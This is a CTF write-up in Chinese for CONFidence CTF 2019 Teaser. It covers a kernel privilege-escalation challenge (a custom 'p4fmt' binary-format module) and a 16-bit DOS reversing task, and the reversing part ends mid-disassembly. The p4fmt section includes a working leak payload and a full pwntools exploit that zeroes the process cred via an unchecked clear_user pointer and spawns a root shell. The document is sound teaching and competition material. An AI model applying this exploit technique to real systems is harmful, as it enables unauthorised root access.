Teaser CONFidence CTF 2019 p4fmt&&oldschool

周末p4主办的比赛,主要分析一下其中的一道Kernel PWN和一道逆向

p4fmt

Analyze

拿到题目,解压后一共三个文件:

bzImage#内核映像
initramfs.cpio.gz#文件系统
run.sh#qemu启动脚本

qemu启动脚本启动后看到:

====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

根据信息,是一道kernel pwn,flag在根目录,但是只有root可读,需要我们提升权限
且内部定义了一种可执行文件格式
查看文件系统的init脚本:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod  /p4fmt.ko  

sleep 2

ln -s /dev/console /dev/ttyS0

cat <

注意两个地方:

insmod  /p4fmt.ko   加载了p4fmt模块
setsid cttyhack su pwn  以pwn用户启动

首先提取p4fmt模块binary:

gunzip ./initramfs.cpio.gz
cpio -idmv < initramfs.cpio

拿到文件后,ida分析
看到其定义的p4fmt可执行文件格式以及载入过程:

__int64 __fastcall load_p4_binary(__int64 a1)
{
  signed __int64 v1; // rcx
  _BYTE *v2; // rsi
  __int64 v3; // r12
  __int64 v4; // rbx
  _BYTE *v5; // rdi
  unsigned __int64 v6; // r14
  bool v7; // cf
  bool v8; // zf
  __int64 v9; // r13
  unsigned int v10; // ebp
  char v12; // al
  signed __int64 v13; // r12
  signed __int64 v14; // rsi
  unsigned __int64 v15; // rax
  map_info *v16; // r12
  __int64 v17; // ST00_8
  signed __int64 v18; // r14
  unsigned __int64 v19; // r15
  __int64 v20; // r9
  __int64 v21; // rdx
  __int64 v22; // rcx
  __int64 v23; // r8

  v1 = 2LL;
  v2 = &fmt_header;
  v3 = a1 + 0x48;
  v4 = a1;
  v5 = (_BYTE *)(a1 + 0x48);
  v6 = __readgsqword((unsigned __int64)¤t_task);
  v7 = 0;
  v8 = 0;
  v9 = *(_QWORD *)(v6 + 0x2A0);
  do                                            // cmp headers
  {
    if ( !v1 )
      break;
    v7 = *v2 < *v5;
    v8 = *v2++ == *v5++;
    --v1;
  }
  while ( v8 );
  if ( (!v7 && !v8) != v7 )
    return (unsigned int)-8;
  JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);// cmp \x00->version
  if ( *(_BYTE *)(v4 + 0x4B) > 1u )
    return (unsigned int)-22;
  v10 = flush_old_exec(v4, v2);                 // clear the environment
  if ( !v10 )
  {
    *(_DWORD *)(v6 + 0x80) = 0x800000;
    setup_new_exec(v4);
    v12 = *(_BYTE *)(v4 + 0x4B);
    if ( v12 )                                  // type=1
    {
      if ( v12 != 1 )
        return (unsigned int)-22;
      if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }
    else                                        //type=0
    {
      v13 = -12LL;
      if ( (unsigned __int64)vm_mmap(
                               *(_QWORD *)(v4 + 8),
                               *(_QWORD *)(v4 + 80),
                               4096LL,
                               *(_QWORD *)(v4 + 80) & 7LL,
                               2LL,
                               0LL) > 0xFFFFFFFFFFFFF000LL )
      {
LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)¤t_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 88);
    goto LABEL_12;
  }
  return v10;
}

可以看到:
首先检验文件头是否为"P4"以及version是否为0
而后调用一次flush_old_exec清理空间
而后通过version后一字节判断type来确定加载方式
注意到第一种加载方式:

    if ( v12 )                                  // type=1
    {
      if ( v12 != 1 )
        return (unsigned int)-22;
      if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }

首先会通过type后一字节决定操作次数
而后通过一个map_info结构体来调用vm_mmap和clear_user
其中会把调用参数通过printk输出
map_info:

00000000 map_info        struc ; (sizeof=0x18, mappedto_3)
00000000 load_addr       dq ?
00000008 length          dq ?
00000010 offset          dq ?
00000018 map_info        ends

同时可以看到:

LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)¤t_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 0x58);
    goto LABEL_12;

程序会以文件偏移0x58-0x48=0x10处的值作为程序入口点
而后执行: install_exec_creds:

void install_exec_creds(struct linux_binprm *bprm)
{
    security_bprm_committing_creds(bprm);

    commit_creds(bprm->cred);
    bprm->cred = NULL;

    if (get_dumpable(current->mm) != SUID_DUMP_USER)
        perf_event_exit_task(current);

    security_bprm_committed_creds(bprm);
    mutex_unlock(¤t->signal->cred_guard_mutex);
}

所以可执行文件整体格式:

"P4\x00"
(char)type
(int)map_info_num
(long)map_info_offset
(long)entry
((map_info struct)map_info)*map_info_num
the_code_will_exec

因此我们需要想办法使我们的最后code运行在root身份下
此时code只需执行shell或者读取/flag操作即可
注意到加载过程中根据map_info程序会有clear_user操作:

          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }

但是程序并没有检测此处指针
根据前面的 install_exec_creds,程序会根据commit_creds(bprm->cred)来设置线程权限
因此我们可以传入clear_user一个指针指向此cred结构体特定位置来覆盖uid和gid来提升线程权限,而后commit_creds(bprm->cred)即会根据我们覆盖后的fake_cred来设置线程权限执行我们的code

关于linux_binprm:

struct linux_binprm {
  char buf[BINPRM_BUF_SIZE];
 #ifdef CONFIG_MMU
  struct vm_area_struct *vma;
  unsigned long vma_pages;
 #else
 # define MAX_ARG_PAGES 32
  struct page *page[MAX_ARG_PAGES];
 #endif
  struct mm_struct *mm;
  unsigned long p; /* current top of mem */
  unsigned long argmin; /* rlimit marker for copy_strings() */
  unsigned int
    /*
    * True after the bprm_set_creds hook has been called once
    * (multiple calls can be made via prepare_binprm() for
    * binfmt_script/misc).
    */
    called_set_creds:1,
    /*
    * True if most recent call to the commoncaps bprm_set_creds
    * hook (due to multiple prepare_binprm() calls from the
    * binfmt_script/misc handlers) resulted in elevated
    * privileges.
    */
    cap_elevated:1,
    /*
    * Set by bprm_set_creds hook to indicate a privilege-gaining
    * exec has happened. Used to sanitize execution environment 
   * and to set AT_SECURE auxv for glibc.
    */
    secureexec:1;
 #ifdef __alpha__
  unsigned int taso:1; 
#endif
  unsigned int recursion_depth; /* only for search_binary_handler() */
  struct file * file; 
 struct cred *cred; /* new credentials */
  int unsafe;   /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
  unsigned int per_clear; /* bits to clear in current->personality */
  int argc, envc;
  const char * filename; /* Name of binary as seen by procps */
  const char * interp; /* Name of the binary really executed. Most
   of the time same as filename, but could be
   different for binfmt_{misc,script} */
  unsigned interp_flags;
  unsigned interp_data;
  unsigned long loader, exec;
  struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
 } __randomize_layout;

关于cred:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

cred是每个线程记录本线程权限的结构体
当我们将uid和gid覆盖为0即可使此线程获得root权限
(root运行下uid和gid皆为0)

Debug

关于调试和leak cred
首先为了便于调试,将身份改为root,修改init脚本并重新打包文件系统:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod  /p4fmt.ko  

sleep 2

ln -s /dev/console /dev/ttyS0

cat <

而后重新打包文件系统:

find . | cpio -o -H  newc |gzip -9 > ../kirin.cpio.gz

而后从bzImage提取vmlinux便于调试:

#!/bin/sh
check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if  [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me " >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

运行:

kirin.sh  ./bzImage  > ./vmlinux

最后更改qemu启动脚本以便调试内核:

#!/bin/bash
qemu-system-x86_64 -s  -kernel ./bzImage \
        -initrd ./kirin.cpio.gz \
        -nographic \
        -append "console=ttyS0 nokaslr" \
#-s:1234端口调试内核
#nokaslr关闭内核地址随机,便于调试

运行gdb连接即可:

/ # whoami
root
/ # cat /proc/modules 
p4fmt 16384 0 - Live 0xffffffffc0000000 (O)
qemu虚拟机下看到p4fmt模块的加载地址
连接gdb并加载符号表:
gdb ./vmlinux
target remote 127.0.0.1:1234
add-symbol-file ./p4fmt.ko 0xffffffffc0000000

关于leak:
在load_p4_binary调用install_exec_creds时下断点

b *0xffffffffc00000af

而后随意写一个满足上面格式的程序运行,gdb断在install_exec_creds以便查看cred相对bprm的偏移
实际上可以直接查看汇编:

x/10i 0xffffffffc00000af
pwndbg> x/10i 0xffffffffc00000af
   0xffffffffc00000af : call   0xffffffff81189ec0
   0xffffffffc00000b4 : mov    rdi,0xffffffffc0002000
   0xffffffffc00000bb : call   0xffffffff8118a130
   0xffffffffc00000c0 : movabs rsi,0x7ffffffff000
   0xffffffffc00000ca : mov    rax,QWORD PTR gs:0x14d40
   0xffffffffc00000d3 : mov    rdx,QWORD PTR [rax]
   0xffffffffc00000d6 : test   edx,0x20000000
   0xffffffffc00000dc : je     0xffffffffc00000f3 
   0xffffffffc00000de : test   BYTE PTR [rax+0x83],0x8
   0xffffffffc00000e5 : mov    esi,0xc0000000

跟进0xffffffff81189ec0:

pwndbg> x/10i 0xffffffff81189ec0
=> 0xffffffff81189ec0:  push   rbx
   0xffffffff81189ec1:  mov    rbx,rdi
   0xffffffff81189ec4:  call   0xffffffff81297aa0
   0xffffffff81189ec9:  mov    rdi,QWORD PTR [rbx+0xe0]
   0xffffffff81189ed0:  call   0xffffffff81073d30
   0xffffffff81189ed5:  mov    QWORD PTR [rbx+0xe0],0x0
   0xffffffff81189ee0:  mov    rdi,QWORD PTR gs:0x14d40
   0xffffffff81189ee9:  mov    rax,QWORD PTR [rdi+0x100]
   0xffffffff81189ef0:  mov    rax,QWORD PTR [rax+0x148]
   0xffffffff81189ef7:  and    eax,0x3

可以看到偏移位置为0xe0
随意运行一个调试:

pwndbg> x/30xg 0xffff8880077b2400
0xffff8880077b2400: 0xffff888007530020  0xffff8880077d7280
0xffff8880077b2410: 0x0000000000000000  0xffff888007530020
0xffff8880077b2420: 0x0000000000000000  0x00007fffffdff030
0xffff8880077b2430: 0x0000000000000000  0x0000000000000000
0xffff8880077b2440: 0x0000000600000000  0x0000000101003450
0xffff8880077b2450: 0x0000000000000090  0xffffffff89262008
0xffff8880077b2460: 0x0000000000002000  0x0000000000000000
0xffff8880077b2470: 0x6262626262626262  0x6161616161616161
0xffff8880077b2480: 0x6161616161616161  0x6161616161616161
0xffff8880077b2490: 0x6161616161616161  0x6161616161616161
0xffff8880077b24a0: 0x6161616161616161  0x6161616161616161
0xffff8880077b24b0: 0x6161616161616161  0x6161616161616161
0xffff8880077b24c0: 0x6161616161616161  0x00007fffffffefae
0xffff8880077b24d0: 0x0000000100000001  0x0000000000000000
0xffff8880077b24e0: 0xffff88800756c3c0  0x0000000000000000
pwndbg> x/20xg 0xffff88800756c3c0
0xffff88800756c3c0: 0x0000000000000000  0xffff88800770f440
0xffff88800756c3d0: 0x0000003fffffffff  0x0000000000000000
0xffff88800756c3e0: 0x0000000000000000  0x0000000000000000
0xffff88800756c3f0: 0xffffffff00000000  0x000000000000003f
0xffff88800756c400: 0x0000003fffffffff  0x0000000000000000
0xffff88800756c410: 0x0000000000000000  0x0000000000000000
0xffff88800756c420: 0x0000000000000000  0xffffffff81c38280
0xffff88800756c430: 0x0000000000000000  0x0000000000000000
0xffff88800756c440: 0x0000000000000001  0x0000000000000000
0xffff88800756c450: 0x0000000000000000  0x0000000000000000

可以看到偏移0xe0位置为0xffff88800756c3c0
而0xffff88800756c3c0下对应uid和gid位置都为0(debug时是root身份)
同而注意到程序会打印vmmap和clear_user的参数
因此可以将map_info_offset指向这里来vmmap(偏移位置为0xe0,即距离文件头偏移:0xe0-0x48=0x98位置,但是load_addr有位运算操作再传参并输出,因此这里选择设置map_info_offset为0x90,使length为cred_addr并leak),此时即会打印出cred的地址,虽然最后会crash,不过能leak一次cred地址
这里注意,开启内核地址随机化时cred地址线程间并不相同
但是真实环境下可以观察到cred地址会是一组地址的循环,因此可以预估下次程序启动时cred地址从而覆盖掉uid和gid完成提权
leak:

from pwn import  *

payload = ""
payload += "P4"             
payload += p8(0)# version
payload += p8(1)# type
payload += p32(1)# map_count
payload += p64(0x90)#map_info_offset
payload += p64(0)     # entry
payload += "kirin"
print payload.encode("base64")
#output=UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=
echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin
chmod +x  /tmp/kirin
/tmp/kirin

可以看到cred地址规律:

/tmp $ ./kirin
[  310.536033] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[  310.538726] kirin[559]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  310.543394] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  311.480867] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[  311.483814] kirin[560]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  311.486224] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  312.793369] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[  312.797228] kirin[561]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  312.804765] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  314.042323] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[  314.045054] kirin[562]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  314.047779] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  315.349773] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[  315.352563] kirin[563]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  315.357168] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  316.229283] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[  316.232561] kirin[564]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  316.234984] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  316.954076] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[  316.957635] kirin[565]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  316.960276] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  317.663571] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[  317.667293] kirin[566]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  317.669847] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  318.516134] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[  318.518924] kirin[567]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  318.522188] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  319.341463] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[  319.343774] kirin[568]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  319.346129] Code: Bad RIP value.
Segmentation fault
/tmp $ 

可以看到每五个一个循环(至少在短时间内是这样)
所以我们完全可以leak出一次循环后猜测下次cred位置,而后提权到root拿到flag
但是我在编写exp时遇到了问题
最初想法是leak出五个地址,而后利用循环预测
但是其实一段时间之后,这五个地址会变化,不过也会循环,这样虽然可以把所有可能情况列举生成exp,然后再预测,不过有点太麻烦
所以最终选择leak处一个地址后直接循环此exp,减小中间的时间(我并不确定内核的这种地址循环是时间还是轮数问题),很大地提高了命中率(约为100%)

EXP

from pwn import *
 
#context.log_level="debug"

def get_payload(addr):
    payload="P4"
    payload+=p8(0)#version
    payload+=p8(1)#type
    payload+=p32(2)#map_info_num
    payload+=p64(0x18)#map_info_offset
    payload+=p64(0x400048)#entry
    payload+=p64(0x400000|7)#port=7->rwx
    payload+=p64(0x1000)#length
    payload+=p64(0)#offset
    payload+=p64((addr|8)+0x10)#cred
    payload+=p64(0x48)#overwrite_length
    payload+=p64(0)
    payload+=asm(shellcraft.amd64.sh(),arch="amd64")
    return payload.encode("base64").strip()
p=process("./run.sh")
p.sendlineafter("/ $ ",'echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin; chmod +x /tmp/kirin')
p.sendlineafter("/ $ ","/tmp/kirin")
p.recvuntil("length=")
addr=int(p.recvuntil(",")[:-1],16)
print hex(addr)
exp=get_payload(addr)
cmd='echo -n "%s" | base64 -d > /tmp/exp; chmod +x /tmp/exp' %exp
p.sendlineafter("/ $ ",cmd)
p.recvuntil("$ ")
for i in range(10):
    p.sendline("/tmp/exp")
    p.recvuntil("/ ",timeout=1)
    ans=p.recv(2)  
    print ans[0] 
    if ans[0]=='#':
        print "Get Shell Successfully"
        break
    if i==9:
        print "Failed this time,please try again!"
p.interactive()

Oldschool

比较简单的一道题目,16位程序逆向,IDA不支持F5,不过guidra支持反汇编为伪代码,但是看起来不太习惯,还是汇编舒服
首先看到程序整体流程:

seg001:0000                 public start
seg001:0000 start           proc near
seg001:0000                 mov     ax, seg seg002
seg001:0003                 mov     ss, ax
seg001:0005                 mov     ax, 190h
seg001:0008                 mov     sp, ax
seg001:000A                 mov     ax, seg seg000
seg001:000D                 mov     ds, ax
seg001:000F                 assume ds:seg000
seg001:000F                 mov     si, 0
seg001:0012                 mov     ah, 9
seg001:0014                 mov     dx, 0A2h
seg001:0017                 int     21h             ; DOS - PRINT STRING
seg001:0017                                         ; DS:DX -> string terminated by "$"
seg001:0019                 call    sub_10148
seg001:001C                 mov     di, si
seg001:001E                 call    sub_10215
seg001:0021                 mov     al, 45h ; 'E'
seg001:0023                 mov     [di], al
seg001:0025                 mov     si, 0
seg001:0028                 mov     al, 53h ; 'S'
seg001:002A                 mov     [si+50h], al
seg001:002D                 call    sub_10124
seg001:0030
seg001:0030 loc_10120:                              ; CODE XREF: sub_10148+73↓j
seg001:0030                 mov     ah, 4Ch
seg001:0032                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg001:0032 start           endp         

首先输出A2偏移处的字符串(以"$"结尾):

seg001:0012                 mov     ah, 9
seg001:0014                 mov     dx, 0A2h
seg001:0017                 int     21h
#Give me a flag to draw!\n$ 

而后调用了三个函数:

seg001:0019                 call    sub_10148
seg001:001C                 mov     di, si
seg001:001E                 call    sub_10215
seg001:0021                 mov     al, 45h ; 'E'
seg001:0023                 mov     [di], al
seg001:0025                 mov     si, 0
seg001:0028                 mov     al, 53h ; 'S'
seg001:002A                 mov     [si+50h], al
seg001:002D                 call    sub_10124

首先看后面短的两个:

seg001:0034 sub_10124       proc near               ; CODE XREF: start+2D↑p
seg001:0034                 mov     dl, 0Ah
seg001:0036                 mov     ah, 2
seg001:0038                 int     21h             ; DOS - DISPLAY OUTPUT
seg001:0038                                         ; DL = character to send to standard output
seg001:003A                 mov     cx, 8
seg001:003D                 mov     dx, si
seg001:003F
seg001:003F loc_1012F:                              ; CODE XREF: sub_10124+13↓j
seg001:003F                 add     si, 11h
seg001:0042                 mov     al, 0Ah
seg001:0044                 mov     [si], al
seg001:0046                 inc     si
seg001:0047                 loop    loc_1012F
seg001:0049                 add     si, 11h
seg001:004C                 mov     al, 24h ; '$'
seg001:004E                 mov     [si], al
seg001:0050                 mov     ah, 9
seg001:0052                 int     21h             ; DOS - PRINT STRING
seg001:0052                                         ; DS:DX -> string terminated by "$"
seg001:0054                 mov     si, 0
seg001:0057                 retn
seg001:0057 sub_10124       endp

很显然循环8次,从0开始(从start中看出此函数si起始值为0)每0x12字节写入一个换行符,最后一次写入"$"结束符,而后从dx(=0)位置输出字符串,其实就是对应题目给的flag.txt:

        4 {4pp   
       p {k4{ E  
      p 44p{ p   
       4 p       
        S        
                 
                 
                 
                 

所以我们最后需要输出和flag.txt一致即可
再看函数:

seg001:0125 sub_10215       proc near               ; CODE XREF: start+1E↑p
seg001:0125                 mov     si, 0
seg001:0128                 mov     cx, 0A1h
seg001:012B
seg001:012B loc_1021B:                              ; CODE XREF: sub_10215+1A↓j
seg001:012B                 mov     al, [si]
seg001:012D                 cmp     al, 0Dh
seg001:012F                 ja      short loc_10232
seg001:0131                 push    si
seg001:0132                 mov     si, 0BCh
seg001:0135                 xor     ah, ah
seg001:0137                 add     si, ax
seg001:0139                 mov     bl, [si]
seg001:013B                 pop     si
seg001:013C
seg001:013C loc_1022C:                              ; CODE XREF: sub_10215+1F↓j
seg001:013C                 mov     [si], bl
seg001:013E                 inc     si
seg001:013F                 loop    loc_1021B
seg001:0141                 retn
seg001:0142 ; ---------------------------------------------------------------------------
seg001:0142
seg001:0142 loc_10232:                              ; CODE XREF: sub_10215+A↑j
seg001:0142                 mov     bl, 5Eh ; '^'
seg001:0144                 jmp     short loc_1022C
seg001:0144 sub_10215       endp

作用很明显,从0到0xA1位置,值大于0xD则替换为"^",否则根据值对应0xBC偏移位置的字符:

 p4{krule_ctf}#注意最开始有空格

然后最开始调用的函数:

seg001:0058 ; =============== S U B R O U T I N E =======================================
seg001:0058
seg001:0058
seg001:0058 sub_10148       proc near               ; CODE XREF: start+19↑p
seg001:0058                 mov     si, 0
seg001:005B                 add     si, 50h ; 'P'
seg001:005E                 mov     cx, 9
seg001:0061
seg001:0061 loc_10151:                              ; CODE XREF: sub_10148+4D↓j
seg001:0061                 push    cx
seg001:0062                 mov     cx, 2
seg001:0065                 xor     dl, dl
seg001:0067                 mov     bl, 10h
seg001:0069
seg001:0069 loc_10159:                              ; CODE XREF: sub_10148+29↓j
seg001:0069                 mov     ah, 1
seg001:006B                 int     21h             ; DOS - KEYBOARD INPUT
seg001:006B                                         ; Return: AL = character read
seg001:006D                 cmp     al, 3Ah ; ':'
seg001:006F                 jb      short loc_10198
seg001:0071                 cmp     al, 47h ; 'G'
seg001:0073                 jb      short loc_101AA
seg001:0075                 cmp     al, 67h ; 'g'
seg001:0077                 jb      short loc_101A0
seg001:0079                 jmp     short loc_101B4
seg001:007B ; ---------------------------------------------------------------------------
seg001:007B
seg001:007B loc_1016B:                              ; CODE XREF: sub_10148+56↓j
seg001:007B                                         ; sub_10148+60↓j ...
seg001:007B                 mul     bl
seg001:007D                 add     dl, al
seg001:007F                 mov     bl, 1
seg001:0081                 loop    loc_10159
seg001:0083                 mov     cx, 4
seg001:0086
seg001:0086 loc_10176:                              ; CODE XREF: sub_10148+4A↓j
seg001:0086                 mov     al, dl
seg001:0088                 and     al, 1
seg001:008A                 jz      short loc_101DF
seg001:008C                 jmp     short loc_101F8
seg001:008E ; ---------------------------------------------------------------------------
seg001:008E
seg001:008E loc_1017E:                              ; CODE XREF: sub_10148+9C↓j
seg001:008E                                         ; sub_10148+A7↓j ...
seg001:008E                 mov     al, dl
seg001:0090                 and     al, 2
seg001:0092                 jz      short loc_101BE
seg001:0094                 jmp     short loc_101CE
seg001:0096 ; ---------------------------------------------------------------------------
seg001:0096
seg001:0096 loc_10186:                              ; CODE XREF: sub_10148:loc_101CC↓j
seg001:0096                                         ; sub_10148:loc_101DD↓j
seg001:0096                 push    cx
seg001:0097                 mov     cl, 2
seg001:0099                 shr     dl, cl
seg001:009B                 pop     cx
seg001:009C                 mov     bl, [si]
seg001:009E                 inc     bl
seg001:00A0                 mov     [si], bl
seg001:00A2                 loop    loc_10176
seg001:00A4                 pop     cx
seg001:00A5                 loop    loc_10151
seg001:00A7                 retn
seg001:00A8 ; ---------------------------------------------------------------------------
seg001:00A8
seg001:00A8 loc_10198:                              ; CODE XREF: sub_10148+17↑j
seg001:00A8                 cmp     al, 2Fh ; '/'
seg001:00AA                 jb      short loc_101B4
seg001:00AC                 sub     al, 30h ; '0'
seg001:00AE                 jmp     short loc_1016B
seg001:00B0 ; ---------------------------------------------------------------------------
seg001:00B0
seg001:00B0 loc_101A0:                              ; CODE XREF: sub_10148+1F↑j
seg001:00B0                 cmp     al, 60h ; '`'
seg001:00B2                 jb      short loc_101B4
seg001:00B4                 sub     al, 61h ; 'a'
seg001:00B6                 add     al, 0Ah
